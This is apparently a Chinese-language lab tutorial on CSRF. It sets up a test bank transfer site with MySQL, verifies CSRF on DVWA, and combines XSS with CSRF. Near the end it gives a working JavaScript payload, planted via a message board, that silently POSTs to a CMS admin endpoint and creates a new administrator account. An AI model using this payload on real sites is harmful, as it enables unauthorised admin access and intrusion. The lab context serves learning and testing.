目录
1. CSRF 漏洞场景复现
1.BANK转账实验网站搭建
mysql -uroot -proot
show databases;
create database bank;
show databases;
use bank;
source C:\\phpStudy\\WWW\\bank\\bank.sql;
show tables;
select * from member; //查看表信息
查询结果:
| id | name | password | money |
| 1 | admin | e10adc3949ba59abbe56e057f20f883e | 70499 |
| 2 | hello | e10adc3949ba59abbe56e057f20f883e | 1027009 |
| 4 | test | e10adc3949ba59abbe56e057f20f883e | 1000700 |
| 5 | Along | e10adc3949ba59abbe56e057f20f883e | 999499 |
| 6 | hacker | e10adc3949ba59abbe56e057f20f883e | 1002000 |
update member set money=0 where id=6; //更改id=6的money值=0
2.CSRF场景测试:
在未退出登录时访问危险网站
可以发现hello在访问危险网站时有100转入到hacker名下
-
攻击者通过 <img> 标签构造GET 请求。
-
浏览器根据 <img> 标签中的 SRC 属性,请求服务器资源,会自动带上身份认证信息。
3.CRSF攻击过程:
2. CSRF 漏洞验证
1) 以DVWA 为例子
-
思路:用bp生成恶意网页,访问后自动提交更改密码,验证CSRF漏洞存在
1.首先找到漏洞点
2.使用BP修改密码
3.验证成功
在未退出登录的前提下访问上述链接即可直接登入,由此说明存在CSRF漏洞
3. CSRF 与XSS 相结合
1.创建网站后台管理员账密进行抓包分析
2.构造恶意代码
攻击者可以利用XSS 触发CSRF 攻击。因为,可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.5.140/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=lay&password=123123&password2=123123&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7
&userid=0");
</script>
3.将恶意代码写入留言板
4. 成功登录后台